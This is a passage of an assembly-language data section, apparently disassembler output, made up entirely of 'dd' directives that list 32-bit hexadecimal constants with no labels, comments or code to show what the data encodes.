		dd 3456D5BDh, 91B870C4h, 0E0C4526h, 299C6D60h, 54EC52h
		dd 7814648Dh, 490C13E5h, 69723300h, 3A954543h, 90EC92CFh
		dd 1EC4604h, 0C59D5EA1h, 320CBEB2h, 997188h, 8539505Eh
		dd 0DD6A6645h, 0D640349Ch, 0F87F78F0h, 0EE5E0744h, 0D1EA0A82h
		dd 285D49E5h, 8C32ECFCh, 0DF07AF01h, 25DE6DD7h,	50757B98h
		dd 6F26097Dh, 0F68248B5h, 0A09FD344h, 4B50FD84h, 7A284E26h
		dd 520E10D0h, 6AEBAB84h, 38272042h, 0CC78D030h,	0B67388h
		dd 6C4309C0h, 0F9F74549h, 193EB81Fh, 0C57C0540h, 8F37A22h
		dd 37841733h, 0E9966E0Ch, 35790773h, 0CF6F8D34h, 1110F800h
		dd 4B4A9512h, 0F9A5A841h, 0E5036F27h, 0D06DE819h, 0C0300D41h
		dd 144091EAh, 12BF0493h, 5040A665h, 0FBF2E2D6h,	42140099h
		dd 84445E57h, 0D006B30h, 70F6DF3Ah, 117B79Fh, 69E60CB1h
		dd 60824703h, 5300A28Fh, 6CDA60B6h, 0F19F4Dh, 12F31CECh
		dd 0E4EAC491h, 0F2494600h, 7B079AA8h, 0BDD61FD9h, 0C4893B29h
		dd 6D8011CAh, 67C08048h, 0F37DC800h, 7282198Bh,	0BB4000Ch
		dd 8F1F92CFh, 23000966h, 12B2969Ch, 3F5B54Bh, 2FE151EEh
		dd 1900B611h, 76A80FA9h, 932793Eh, 0C3F96CB8h, 0D62B501h
		dd 0B6ADE8C7h, 0FC09403Eh, 3CA4A200h, 0BE6E2559h, 0EFA90034h
		dd 46BC3E78h, 0C6076CC5h, 0DB84FBCBh, 0DE40D610h, 0CD0500EFh
		dd 0FF995F1Bh, 980360F3h, 0B4B63A1h, 0E8BCA9BBh, 0E0ABF02Ah
		dd 0F04C6B00h, 7B8393D8h, 48610353h, 0CD0F1CC5h, 95318BA0h
		dd 0CA8C231Dh, 786ADA00h, 1EEA2163h, 0C0F4F106h, 90EDAB37h
		dd 0C724A1CCh, 3500A710h, 1DC68B4Ah, 9FB13A08h,	0EECAD400h
		dd 0ADE13012h, 0FB504206h, 3888C5D2h, 0FD8AB44Bh, 89FC9756h
		dd 658E8379h, 0BBDABE60h, 0B700DC9Bh, 0CEA9506Ch, 317953h
		dd 0AD2B87FDh, 13CF1EE5h, 489D6A00h, 0A06F9499h, 0C8A7E58h
		dd 7BA8AEC6h, 2C91DA80h, 698FF01Fh, 0F91D7C53h,	7D34F6BBh
		dd 0BB1CB837h, 282EDBC7h, 0A1B15861h, 83DEECh, 1D8908F2h
		dd 8F36AB32h, 39203100h, 0EBBC06DDh, 725228E7h,	38F4DCh
		dd 16EEC68Ch, 5FA45DB5h, 67643400h, 0E0DCF148h,	74F70C1Fh
		dd 0B04812F0h, 0D50BC900h, 9F3D545Ah, 0A9950017h, 32C00946h
		dd 0C87B8CC6h, 80B5AA3Dh, 85A71087h, 969D92Ah, 0C7FE7866h
		dd 5E06C023h, 0CC0C6800h, 0AB3DF7A4h, 0C13E0E87h, 71803717h
		dd 839404AFh, 2FC8F10Eh, 4EE8A0C6h, 28B80621h, 80F415h
		dd 3BBBC78Dh, 0BE24EE52h, 0AE071CF0h, 0CF01CB17h, 821A5C0h
		dd 0B4D14D27h, 0FC4A5800h, 4084E00Bh, 47F47701h, 0E3DA202Eh
		dd 1ED5C24h, 0DBE27228h, 21CFECBAh, 0FC80EA32h,	7EF734CBh
		dd 0A6867D00h, 803E844Fh, 0B88C2F8h, 84612936h,	88D9E878h
		dd 1B0F9E00h, 8DC71741h, 6886002Eh, 0B9AF117Bh,	620EF0F1h
		dd 5D35DD74h, 641CC428h, 81800DCEh, 0BF55A76Ah,	33D300B3h
		dd 0F98EFBE2h, 0D14923C4h, 0F1580738h, 81E078E5h, 2E2713h
		dd 3E9409CDh, 0DEF8A9E4h, 0DBE75900h, 0BA5C609Ch, 6CFB07FCh
		dd 20BD857Eh, 0B86AC263h, 0F1C6C000h, 628271B0h, 0A706011Dh
		dd 108E296Ch, 934ED4E1h, 0F04Ch, 0B6E451ECh, 27FA9B17h
		dd 0C0600AC5h, 4B505F58h, 960FEC80h, 45EBA9Fh, 0D58077DFh
		dd 0B67C62h, 568E61E4h,	0E74DD8D9h, 0F31F9DE6h,	45013C87h
		dd 0ABCE89AFh, 56F08CE5h, 0DEA15CAAh, 0F74DA700h, 0F4A2C19h
		dd 811AAD0Fh, 7B0A144h,	29E01E59h, 0BA200A04h, 9D153Bh
		dd 0D1255D83h, 0A2001CD9h, 0B9136E7Bh, 442C05Ah, 46088047h
		dd 909BC705h, 1067EB24h, 0CB01EA7Fh, 1B3C68Fh, 802C936Ah
		dd 9DEC9502h, 0C7404971h, 0CB372053h, 4FF0E838h, 6F5C886h
		dd 269A303Bh, 4E00F005h, 5B620304h, 1B0EABBh, 9A6191C0h
		dd 0F0E1150Ah, 2890D5C2h
		dd 1C526400h, 63ABE03Eh, 111E007Fh, 72AA3DBh, 7C0FAEF7h
		dd 0A0D73558h, 0FC6412E6h, 0C073BAh, 84BF937h, 0D0D6F52Bh
		dd 23DFBB50h, 7AA10C0Ch, 2892B95Ch, 30DD9CECh, 0FE904DC3h
		dd 47ECA88Fh, 0DCDD993Fh, 983B1Fh, 7F79920Dh, 14286E8h
		dd 547BAF19h, 0D889CDD8h, 0D40167B3h, 1BF030C2h, 2880E8F2h
		dd 72432228h, 0FE009363h, 71EC2BE4h, 12D0595h, 4B6775B9h
		dd 207672C8h, 1830D968h, 0D3F5BAECh, 0E22300FAh, 65997D63h
		dd 162C942Eh, 0CC2A571Eh, 0FB467801h, 87D1C31Fh, 80F46FD1h
		dd 60060001h, 2498BC4Ah, 43E84BA0h, 9CB6C328h, 61D75F6h
		dd 970094BFh, 0EA1924D8h, 55FE0Eh, 69845BF2h, 0A359B221h
		dd 0B1E4BA00h, 10388273h, 64F053h, 56D156Bh, 0EC80617Dh
		dd 0AFC27B00h, 0AD545DC9h, 4DF40EF2h, 0B6843032h, 0E6A4C80Bh
		dd 19CD1E00h, 0CA499224h, 0F7A60574h, 2016DFC9h, 305FA33Ch
		dd 95FAD200h, 342DA74h,	1302039Bh, 10FCC109h, 96F37C93h
		dd 0D1C95EC8h, 8040CA3Eh, 171B80E6h, 3B5952FDh,	0B8000D5Bh
		dd 8609A1EEh, 3401AAACh, 0B728D11Dh, 0BDF44010h, 0ADC91C93h
		dd 36E10033h, 0BAEA511Bh, 10A2F807h, 24901EAEh,	261AE91Dh
		dd 0C074DDD7h, 4C4DB73Dh, 329A70Eh, 785C00FCh, 19615ABh
		dd 750B7B24h, 742BCAE7h, 87005470h, 3234FA4Fh, 4C7AA8h
		dd 787F23EDh, 0F3FDB11Fh, 0BC24A078h, 3002A74h,	662D96FAh
		dd 0F62400A5h, 759E5BE7h, 45077C6Eh, 32ADB81Bh,	1874209Bh
		dd 0FC0D906Ah, 8AEF2C51h, 740A8080h, 0BF7AAFBAh, 0DDAA202h
		dd 0A4EB5180h, 5A087810h, 83AC51Fh, 3C7A252Eh, 69511862h
		dd 0EBD41885h, 0E794650Fh, 6A802E81h, 7CD3E159h, 4AAB0BAEh
		dd 5041869Eh, 0A018ECD7h, 8E6B4F02h, 0A0453DE3h, 13152D84h
		dd 0C38F0066h, 4774D054h, 720FDACEh, 78BA5E0Bh,	0CC5A488h
		dd 32141370h, 5001AB39h, 0AA81379Eh, 91E8A8E7h,	1E62909Bh
		dd 4058B382h, 10D204B4h, 6F0064FFh, 0F59E907Dh,	0E4DE6654h
		dd 79B82Eh, 0D1CF5E77h,	1E9BEFD2h, 0B88C4100h, 0BCB9BFA7h
		dd 0F7EC0064h, 0D929FA99h, 76903AC4h, 0FD46BE00h, 7C9A17Ah
		dd 42C30060h, 4354B1C7h, 0A70704F9h, 0A30D9FADh, 68D0E9A0h
		dd 79CC39C0h, 5C00EA3Ch, 78DE589Ch, 93004A99h, 7162873Ch
		dd 0D7C99Eh, 2FCF73BAh,	4D985045h, 5DCD2C00h, 8F032A72h
		dd 78609027h, 0A9300079h, 164D14ACh, 0D415D076h, 0CC5864h
		dd 0B14AC851h, 0FA2231D3h, 7EC76FFh, 4BAAA05Eh,	30C0E91Ah
		dd 0FD0016A6h, 0D4B85159h, 13F7D1C5h, 0CB90A59Bh, 0C0A7C854h
		dd 0E14EC4Ah, 0AE71C803h, 922BE5DFh, 13785875h,	0B5D0647h
		dd 60C005CDh, 0B505E859h, 0D415562Ch, 24BC890h,	0D0B6C2h
		dd 8CB51F4Eh, 68D39DADh, 99C8A8CEh, 0BF409C0h, 711097Ch
		dd 0F8660D45h, 4DD4D01h, 9539FEBFh, 2D247400h, 8278A06Fh
		dd 0F2C36E1Eh, 287465Ch, 0D7512E2h, 10603106h, 212EDCEh
		dd 5DABF78Bh, 687276FAh, 1E458217h, 46C3C4C0h, 42AA0779h
		dd 1C1D59h, 741F89FEh, 0DB603Ah, 9A7DCFCEh, 1AF6DE3h, 1C3D8C8Dh
		dd 0C40E5133h, 2D00D6EBh, 6FBFF85Fh, 23C367h, 6364289h
		dd 0A51B033Ch, 0F09DF00h, 0D3579192h, 0A828C0ADh, 7214BF39h
		dd 0DC00F1F2h, 84CB1BABh, 96B1E6h, 43952B6Ch, 5BFA8C8h
		dd 4869E407h, 698C2CE3h, 49D860D3h, 0FFC9990Dh,	66C86000h
		dd 0FC07ACDCh, 14A4003Eh, 0AF3CB29Ch, 0FA0C33FDh, 41307647h
		dd 57F8A8h, 0D685ECE3h,	1D039EFCh, 80DD18A0h, 0C134D3Eh
		dd 1842D386h, 7A5831EFh, 31BD6881h, 2084E1F3h, 31EEE4F8h
		dd 0D37D6A0Ch, 1C6061B1h, 215070h, 1A585EBFh, 1000F69h
		dd 2989AA09h, 71926B78h, 793F609Fh, 0C188F868h,	2F775E01h
		dd 0C5675D49h, 5460F7EBh, 0F8B957DFh, 5E72E2h, 0B76207B3h
		dd 8D70C3EFh, 0F84B2D0Bh, 0B59A8045h, 0E7C209h,	5ED52988h
		dd 0DF7444Ah, 4614601Fh, 2F00BE66h, 0D5266C7Fh,	735F297h
		dd 18229B27h, 6E2C83B2h, 0A2D86BC0h, 40069B8h, 64260D87h
		dd 303FF9B8h, 8F688378h, 5700AB07h, 0D45C4086h,	0B0107Ch
		dd 734593BCh, 9532997h,	810E9607h, 70502D62h, 289D63h
		dd 0CF61B760h, 111AA695h, 0ACB08600h, 0D3BA77F5h, 47B90079h
		dd 6F50EEBEh, 0C09DD881h, 26F790ABh, 7A157E0h, 0F033879Ch
		dd 36F2A004h, 0FFEF1101h, 7D598C2Eh, 9D10FCh, 0E7888947h
		dd 0D793796Ch, 51007770h, 25A3BC60h, 44F004h, 418F7452h
		dd 0F8B2342Ah, 8E0018F6h, 0DF306ADh, 0DF3ED6h, 0C96925Eh
		dd 70EBDE0Ah, 7522D300h, 0E3914721h, 0D5A7014Dh, 0E74A5FFFh
		dd 2E5230EAh, 0F2C7C001h, 5B64AB06h, 0F0C6260h,	0C8CC22D4h
		dd 61B6E940h, 35011014h, 91860154h, 4AEC830Fh, 584300E8h
		dd 0B847B75Eh, 38C00DA6h, 871AC12Bh, 81A1002Ah,	2DE5631Fh
		dd 8017486h, 15F55C28h,	4F81314h, 8C7C12h, 0AE6A7363h
		dd 0C03389E6h, 2BEFEB00h, 2F58913Dh, 0E3F3CA5h,	4278E080h
		dd 1C969848h, 0D313A603h, 0EB2F56h, 7C890762h, 3C8BAB42h
		dd 2B089900h, 0C262CFD0h, 7A3760F9h, 212C744Ah,	16010271h
		dd 0D1EFF1F7h, 7CC87599h, 3D4C0005h, 57DE781Fh,	0E5396C67h
		dd 0D9620797h, 0F4C09A2Fh, 1ED7DC7Fh, 7D2C10C6h, 38A5F501h
		dd 2F6CF2D8h, 79659001h, 52C46694h, 0BBC10767h,	70B39B68h
		dd 0A6B4EF18h, 8021001h, 0E569258Ch, 71A77560h,	654F01F5h
		dd 3B1F72Ah, 0CB7ED815h, 46014B1Eh, 746CD000h, 0DCD9C4EAh
		dd 752680B2h, 1AACA654h, 7AAAD80Eh, 418700CBh, 382BC2Eh
		dd 0B396CED9h, 0D4F076DEh, 101D849h, 75BB5658h,	7EE69Eh
		dd 240C0F7Eh, 0BD3B901Bh, 627400C3h, 72594860h,	0AA9E5007h
		dd 817745h, 751B702Ch, 6384B95Fh, 6B7FDB03h, 88B05827h
		dd 5E7E86h, 3BC6754Bh, 112C6D3Ch, 0C0896028h, 56649800h
		dd 0C4328BECh, 3C5100E7h, 5DBD5CADh, 310071B0h,	906E6864h
		dd 0EEECBBB5h, 30C400A0h, 4A259A0Fh, 0C118FC82h, 0FAC934F9h
		dd 8CB71E0Ah, 2FAE80DDh, 932426C0h, 0E89AD100h,	0DF5E53C3h
		dd 0A219028Ah, 620CE22Bh, 27B89CE0h, 2C39FA00h,	53B5218h
		dd 644300BFh, 0B0FC96E5h, 0D8069EBEh, 4075FFB9h, 66680018h
		dd 0BA7BEF04h, 0B50FD595h, 0E3FB9906h, 0CADBFADEh, 9774602Ah
		dd 6E6A0074h, 55FF8F30h, 49E00CAAh, 0F569E107h,	3860C4D6h
		dd 248F84Ah, 68192F5Ch,	0BC406E9Dh, 0B414E1D0h,	4F05B11h
		dd 0A255121Eh, 0E67B3CC0h, 0F4F300CAh, 0CBC91605h, 9500BDF5h
		dd 7932111Dh, 0F6AFEDBBh, 0DF8714F1h, 0BF0095F8h, 189712C9h
		dd 280321B0h, 51295A73h, 4B868853h, 80C80032h, 2CF2AB3Bh
		dd 6EB82FF6h, 0E539CF00h, 0A66822D2h, 0A29F03DDh, 1250567Bh
		dd 45F5BEB8h, 0D1A0BB00h, 8518E0BDh, 0C11400DBh, 5028D560h
		dd 9C021242h, 385E1326h, 0AEB86071h, 0B98B0030h, 0A17E76E9h
		dd 0D40036A4h, 0C637F480h, 66BD5h, 39F7D31h, 8D2782DBh
		dd 1AB1040h, 0AFD698F6h, 30FECE81h, 38387364h, 0FF859860h
		dd 881410h, 1DA336E1h, 0B1167203h, 8FD68A39h, 40247C3Ah
		dd 3BD3555Ch, 62F9022Ch, 0C18DDC04h, 0ED5E0840h, 58FEEE00h
		dd 0DA81E8C0h, 61B875h,	0D2977985h, 33A6C620h, 41863D00h
		dd 0FE088FB6h, 7D04001Eh, 0FD829A7Ch, 7FF621FAh, 83009090h
		dd 18AFBCF3h, 957B778h,	0D7350B7Ah, 0C7C67F80h,	4C003BFAh
		dd 0CAC0A524h
		dd 149D0A20h, 8B546002h, 63E32C00h, 6FEF7552h, 91963F00h
		dd 46D2E12h, 73541831h,	0D7FD84E5h, 0E17BD900h,	0D59F3B5Eh
		dd 0B48659F0h, 0AC169200h, 7337314Bh, 8FAEB700h, 79C1F449h
		dd 0ED9D03B3h, 0B09EC087h, 29FC26A8h, 0EAD57700h, 0F71A2F6Eh
		dd 16490D4h, 5E8EDEB7h,	0E372CE6Bh, 0B0F8BFA0h,	0BA233707h
		dd 32802B79h, 0BC6B1E3h, 91B9248Fh, 0B4B18AD5h,	2F71E980h
		dd 1DCE43F9h, 21BE067h,	0AFAB5E65h, 649BBCA1h, 3392F8B9h
		dd 0C49F4B07h, 71F7B42Ch, 48729600h, 354600E7h,	69745DDCh
		dd 7F00286Fh, 0CF9A0B25h, 0AEA82Fh, 0D79C9901h,	0B944220Dh
		dd 0D6C2FB00h, 795FD453h, 60CE00BEh, 6174796h, 2D0A1C29h
		dd 94329B43h, 68BE2180h, 1E194ADFh, 0C0CDA1B3h,	4E544157h
		dd 21030D77h, 0ACA27556h, 2B300272h, 78088962h,	0B1E3DD43h
		dd 4D0419FEh, 13809877h, 2760A8C0h, 0DB5906A1h,	0F1BF5747h
		dd 0E8F31500h, 0B06677C8h, 17F4001Ah, 0ED933884h, 2F0279B3h
		dd 9B477D86h, 92EC8096h, 37F7880h, 0DE648723h, 3FEAB906h
		dd 0FCC6B0A0h, 1401958Dh, 8F1E2705h, 0F620F0B1h, 572E00A3h
		dd 0D1FD5D6Eh, 81C6CAECh, 0B599A8Ah, 5135C650h,	1DCD3C80h
		dd 3700C2E9h, 669C6769h, 24FA77B5h, 11D0C08h, 0F278988Ch
		dd 57798C33h, 0A751AAh,	64E4BDBEh, 6CEE4386h, 65A45D50h
		dd 0BA9BCD03h, 0BEF677D2h, 6CEF0239h, 20FDC059h, 0DA5A081h
		dd 0A803EBB4h, 96FB2A01h, 0BDA28081h, 43DD0031h, 0D4AFE80Ch
		dd 0B9C0959Bh, 0D241DFD8h, 77D1E05h, 35724025h,	5786342Ch
		dd 803DE891h, 8CDFCAF6h, 12AA16BBh, 711BDCDh, 50D83A6Dh
		dd 58FF6013h, 2931AD60h, 14AA8865h, 0B094BD35h,	58E0D48Fh
		dd 0A59AF325h, 0B940C800h, 0E1D785Ch, 111F00AEh, 869CCAF8h
		dd 2318FB94h, 0CF51A558h, 97DC0078h, 2A82E1DDh,	9C0065CDh
		dd 5F4CE80Fh, 28843D8Ah, 0D8063FEh, 29226E37h, 5886E0B9h
		dd 1349A860h, 0C6E156h,	3B915922h, 694C7892h, 71B1A1C0h
		dd 74D9A0CDh, 975AC01Ch, 9B34CC21h, 0F1118205h,	5780DA8Bh
		dd 0A6165B1h, 0F678AE7Dh, 386C9820h, 249A8876h,	0AF569202h
		dd 4004A806h, 115F807h,	0C4788EC5h, 402B3354h, 0AB3917ECh
		dd 30A4801Dh, 0EC6A5840h, 0A3137Bh, 0B89EAE5Ah,	0F11CEB37h
		dd 0C1398506h, 3968140Bh, 8F3956A5h, 0A923F780h, 0D073E9A6h
		dd 0F17FD7E7h, 0A879AB24h, 0C2575F80h, 3010FA81h, 0C7A17E9Bh
		dd 0B0367D3h, 0A03F1BF7h, 0DDDFA801h, 0E3700227h, 87449C1Fh
		dd 14F218A0h, 0FA00946Fh, 6E7179D2h, 2C48E4Ah, 0F4C3B243h
		dd 0F8909728h, 0F300B421h, 0FA096411h, 1FF4CE66h, 73BC8DBh
		dd 10FD7CFCh, 90F10261h, 23007673h, 53A1CE8h, 3A48E259h
		dd 8800580Ch, 0CEC386EFh, 0D9C0A3DEh, 0F747CD96h, 0C0537555h
		dd 5A31A0E1h, 757D7DB8h, 74168976h, 440C4826h, 1A439BBh
		dd 0BCE39C5h, 0F491BE36h, 0E80453D0h, 81A077FCh, 6E822080h
		dd 0D2280C55h, 2339ACB3h, 843B013Ah, 56F76F3Ah,	3F578CCh
		dd 8595DDAEh, 0F9043896h, 0F371E1ACh, 3B215A80h, 77F40CECh
		dd 6D216A4Ch, 0D1ED5D09h, 41DC92EBh, 9CC0A40Ch,	0D1786036h
		dd 0DEACF26Fh, 0F7015B7Bh, 0A26896F0h, 21BD70B2h, 34393380h
		dd 5D556DE9h, 9F7E6000h, 5C6A8A69h, 0DECF1222h,	0DF0432ACh
		dd 750FB828h, 14F02120h, 60224D78h, 0CE03FE03h,	110F4099h
		dd 80F27C05h, 68EEFB9Ch, 25E00073h, 77926230h, 0F424E517h
		dd 9B0994CCh, 32102078h, 143F34h, 4AA6B1B6h, 0D2276CACh
		dd 3077C600h, 0E5A7AE02h, 5DB40101h, 26CDF9FFh,	15544059h
		dd 6E74464Ch, 3B974719h, 35D89989h, 0EAF7039Dh,	0BB94463Dh
		dd 53E81A00h, 0AF06CCB3h, 1CD2807h, 969512A4h, 800B1D12h
		dd 0A319C2C4h, 0FE50F359h, 0DC44B4A0h, 0A5100087h, 29059FE8h
		dd 7CA09860h, 3103F417h, 0C4D6E450h, 4FB9886Bh,	18087D12h
		dd 68FBE8A1h, 830A5494h, 0A06FF378h, 0CFADA541h, 3297618Ch
		dd 33004019h, 4212B367h, 777BCD72h, 898C99CBh, 70095F8h
		dd 0FA37D9B1h, 0D30C2600h, 0AED588E1h, 701061D0h, 8020117Fh
		dd 47F960D8h, 5B2A48h, 99B1CED2h, 0A272A078h, 2278204Ch
		dd 968100BEh, 0AEC217E3h, 7E00B493h, 6056094Ch,	949F9D7h
		dd 53B5467h, 53047003h,	0AE618498h, 0D0BBA30Eh,	124939B1h
		dd 0FD2F20h, 0F1193E28h, 0FF57969Dh, 0D8B0A52Ch, 530B5960h
		dd 0AD11C077h, 3A62C07Eh, 0BF72F900h, 0ED23060Ch, 0AB70F69h
		dd 96239BC8h, 0C0EF76FEh, 0D79884Dh, 31088490h,	80CB368Ch
		dd 0BE10DF17h, 0AF00612Ch, 0CEF5D27Dh, 6F118FDh, 587FB49Bh
		dd 5002A9A9h, 0C7A27DC0h, 0D954604Dh, 780F6038h, 0F5BD5F1Ch
		dd 704B7715h, 0F86224BCh, 7EEFE100h, 206EFFD8h,	92183D2Eh
		dd 7481D036h, 60DC0052h, 0ABAF1B54h, 98F4577Fh,	698E0D09h
		dd 0CA0FB9h, 78F082CEh,	2C581384h, 0C9EC0008h, 9A9006B3h
		dd 0D0CAC306h, 24A9C8B8h, 8098978Ah, 48D6F384h,	0B1002115h
		dd 0EF6ADE82h, 0C0E635FCh, 88F67F81h, 0A600CB72h, 3FB2CF2h
		dd 664280h, 6965E63Fh, 1383D58Dh, 71A79F1Dh, 8A9CF102h
		dd 0E0C6EEh, 0FE40D2D9h, 0FCA79E3Dh, 13B91F04h,	31808A75h
		dd 1787BA72h, 95E1DA0h,	3820075Dh, 34ADEB06h, 0C4357D00h
		dd 51230FEEh, 0F1C700BEh, 5405FEC5h, 0F0E9A812h, 0D404C9ECh
		dd 0FF36B40Ch, 7DD90CCh, 8931E9B2h, 477552FCh, 11A6F841h
		dd 60D665A2h, 2FC7CB4h,	39E597C9h, 0EF832301h, 82CB12D1h
		dd 20B6070h, 13AFA5E3h,	2906C068h, 0E490FDh, 0F435AEABh
		dd 5B1B3E7h, 95225504h,	98809F0Fh, 0BA658EAFh, 8C88110h
		dd 5784A889h, 0EF7F3C90h, 0D7748B02h, 246FF577h, 0E110C007h
		dd 460B89F0h, 215E9A4h,	0C49B61D4h, 0C85050F0h,	0D54E0051h
		dd 0B337ADD3h, 4D03A8B7h, 368420DEh, 0DBB1007Ah, 0D1576F1Dh
		dd 8326C1DFh, 5B407096h, 0D10ACh, 0B5458956h, 9A281486h
		dd 3D42FF3Fh, 6C518306h, 0C087A2D7h, 4CA54D26h,	1480E8ACh
		dd 94AD52A8h, 5E513769h, 5AE40739h, 58895F77h, 8CE8304Bh
		dd 1D027DF7h, 290CE824h, 80E48EE5h, 0BBA91A19h,	0F6FF0E30h
		dd 6405228h, 590F9E6Bh,	2CEF20A0h, 5D633D07h, 0B3C624EBh
		dd 45A03E19h, 3B299C03h, 77B8BCDBh, 3100F587h, 0D8FD7FDh
		dd 3F68B24h, 9A2FD454h,	0FFD7819h, 22576D58h, 0D480CBD8h
		dd 5A603B26h, 0C076020Eh, 0E4946Fh, 13692586h, 5CE64B3h
		dd 35E17761h, 0F98440CCh, 4A15E345h, 0A2ED9100h, 0D4F707B0h
		dd 0CF50030h, 0ACC7105h, 31D67453h, 24712BE8h, 4F045867h
		dd 43F8D980h, 0A4908188h, 13208A2Eh, 2621A418h,	74C00093h
		dd 98DF087Bh, 0D309654Bh, 90531021h, 47DB18h, 7ACE0DC2h
		dd 0F2AB335Dh, 0F142E001h, 0F55B0F40h, 7AEB870h, 0CC07FF91h
		dd 3403B9B7h, 78801034h, 0F8066748h, 9DB31946h,	24A613F8h
		dd 82BC00DBh, 5805B823h, 0DCDF0628h, 95D1F409h,	4F38839Ah
		dd 6307F45h, 9DD25D0Ah,	87011069h, 895F28DAh, 0F330A605h
		dd 58B44BA5h, 788140C0h, 0C86CF72Ah, 0D9029D7Bh, 0F329445Bh
		dd 1E6CE497h, 0D2C1B6h,	88079D72h, 4A11283Dh, 0D61F3198h
		dd 6C0E8025h, 5A99F96Eh, 0A5B4C13Bh, 610CA457h,	441BC1C0h
		dd 0B3D02CE1h, 20A54030h, 230008A3h, 8ADF2F4Bh,	0B0724C81h
		dd 0CC7E1608h, 60700007h, 10017953h, 80A09B4Ch,	63C85DE2h
		dd 0DAF90CF4h, 0D5B47AC5h
		dd 63088A0h, 0FCB3300h,	0AFF7F16Bh, 0E53630B1h,	0BA1D84F9h
		dd 0D42F70EBh, 43EDBD00h, 3B75BB69h, 3ABE00FCh,	0A02D55C1h
		dd 50C917C7h, 4C288019h, 1C5A2381h, 7C7BDEBBh, 0ACA27A06h
		dd 80B959E0h, 52CF6100h, 44A9B9h, 0DAB21E8h, 4EB343A7h
		dd 99C1D4Ch, 8069B454h,	95360958h, 7887F048h, 9EC5C6Eh
		dd 3E90BD29h, 4530CC28h, 331F033h, 8B58DF02h, 0F5D3EBAEh
		dd 0DC9B6260h, 80C43558h, 0A6E4AC23h, 70201230h, 8A88CCCEh
		dd 0FF671E39h, 0AF249C07h, 0AA0AEA2h, 26E9584Eh, 47E42D6Dh
		dd 73517023h, 0A20613BBh, 6696D53Bh, 0FFB90089h, 0CD67741Eh
		dd 6D6094FCh, 5EBC119h,	7654C18h, 0B9E3B000h, 27A0C947h
		dd 99A7B400h, 0ED90E807h, 96872ED0h, 0F6E64098h, 4E743E57h
		dd 247F2E1Fh, 95D23542h, 5F90416Eh, 409DB02Ch, 772DFDFCh
		dd 1F00ADCFh, 45C0525h,	0F446F243h, 0F97E0021h,	222E6BEBh
		dd 7A00FD58h, 7123E995h, 0B639CDh, 0A1975A5Eh, 7960036Eh
		dd 30854800h, 31086FEDh, 9DD13841h, 8C10B9A5h, 0F01D0723h
		dd 24831B3Ch, 0D0CF0819h, 0FAEE550Ah, 0E03B7720h, 423F018Eh
		dd 9B01FC2Fh, 0DB18079h, 8535F039h, 0F64A0088h,	0E5115722h
		dd 877B4754h, 5CC7BA04h, 0F8806126h, 5C52B784h,	81265467h
		dd 6E0ABAD4h, 0A4CC3022h, 37011A4h, 2745FA67h, 1494936Fh
		dd 0C896CB71h, 28A42080h, 0A038D0D1h, 325C07A8h, 69CF8134h
		dd 0E5C4853h, 6B50EA2h,	0EC0078E7h, 0C134FE8Eh,	90A5A002h
		dd 0E010FC98h, 50544ED9h, 0E6C88h, 5C020873h, 892410C7h
		dd 0F200AEFEh, 93FF172Fh, 4E6E8EE7h, 8FCC2030h,	0F898A0B2h
		dd 0E840584Fh, 0E85A7E3Dh, 17F45CF6h, 2E918800h, 0C508D506h
		dd 81B37900h, 0CAF21460h, 849196h, 1D36AC19h, 0D3008B83h
		dd 458479CFh, 705D6E96h, 29080C60h, 243E1A1Bh, 7504B3B8h
		dd 0A195D0BCh, 1B02CC7h, 9E084FDEh, 4BCE408Ch, 38005149h
		dd 0C81B6702h, 2873836Eh, 17C43F85h, 300FDAE6h,	6B787474h
		dd 138E5307h, 0FE72C8A3h, 5834E3FAh, 8C0EA85Eh,	93CD50h
		dd 0F20ABD22h, 36489395h, 0C95480ECh, 3D75F8h, 0A4DD470h
		dd 5C393EBFh, 789A0F24h, 5FF64642h, 9F229681h, 0BCC1E4FAh
		dd 0A7D37200h, 7DB428B5h, 3578C507h, 851C4710h,	15FA80ECh
		dd 4B074E7Fh, 0F50C88E9h, 0D0E58A40h, 3C2E00CBh, 10A61E22h
		dd 0D16035F8h, 8E89DA99h, 771C2C0Fh, 0EFCB0009h, 0FBFFE7E5h
		dd 7DAB0200h, 274701EDh, 95E8C011h, 92DCD056h, 90266E29h
		dd 0EC44CB01h, 4E00CE96h, 0F1001A24h, 567B29Dh,	99EAC859h
		dd 0A9F2804Ch, 0DB613AE1h, 0FE622200h, 2D6E36B3h, 0D851DD3Fh
		dd 0EA6DA1D2h, 614B61F7h, 0FC9EF058h, 0D33F4BEAh, 0F6781617h
		dd 0F88C5025h, 0C8A509F2h, 34643FB9h, 0E45D0900h, 4F8F6AEBh
		dd 0B8B60B44h, 90A7E8A1h, 5D6F0303h, 267A4D88h,	0C040F448h
		dd 0DBF7D857h, 0EFDC0011h, 540CA8BBh, 9B48F6C3h, 162B80D4h
		dd 3E6A6050h, 828B8611h, 584057F7h, 6000C0Fh, 6202CF30h
		dd 4C0310FFh, 4FC088CEh, 26AD19BEh, 67768200h, 0D255F2E5h
		dd 60209EB8h, 0B13B52A9h, 5A679206h, 7FB001BEh,	607304F4h
		dd 4F3899CEh, 0E6AB001Bh, 777D5C1h, 56237C82h, 48319FEh
		dd 49C005FFh, 0C0B09D14h, 0C3518F09h, 0FFF898CEh, 0C68200F9h
		dd 5F6093F7h, 78287957h, 0FE6010F8h, 7913690h, 0B2D028CEh
		dd 9CCFC54h, 52F9AA4Ch,	0E4123891h, 40480ECAh, 86EC0727h
		dd 654079AEh, 4AE1391Bh, 21144096h, 0EF155E7Ch,	0F95C2C02h
		dd 4417A507h, 27D14FA0h, 0A2B1C4D8h, 239F0990h,	3B9C820Fh
		dd 31CB2540h, 601E38B0h, 34248CC5h, 5500983Eh, 1B16468Dh
		dd 111400D5h, 5010E523h, 0D12E2CE2h, 0F24068E6h, 17554877h
		dd 88FFEC26h, 4100CD4Ch, 792C2393h, 0EEF4AEEEh,	0B1707CEh
		dd 8021EDFCh, 9B38FF3Ah, 1C5A7E44h, 536D0734h, 0F9DBC3Dh
		dd 608338E4h, 59FC4357h, 27A100FEh, 0A510B6B9h,	70A072A9h
		dd 63908AB3h, 4F587F01h, 360222F2h, 0BE027429h,	23FC91BDh
		dd 8CD19040h, 783B3090h, 0CC44Ah, 0F9553458h, 0B99CCD02h
		dd 0B0535224h, 7750E247h, 9EDB4h, 394ED8A4h, 0B8992562h
		dd 0FE848617h, 0EF346C80h, 33AB0017h, 0CB012338h, 6F75B748h
		dd 5E746948h, 0AC2C78E1h, 3A48C280h, 6C03AE5Bh,	0D329D9FAh
		dd 3CD6E849h, 78E0180Bh, 4D8E58FDh, 89ADF43Eh, 226C603h
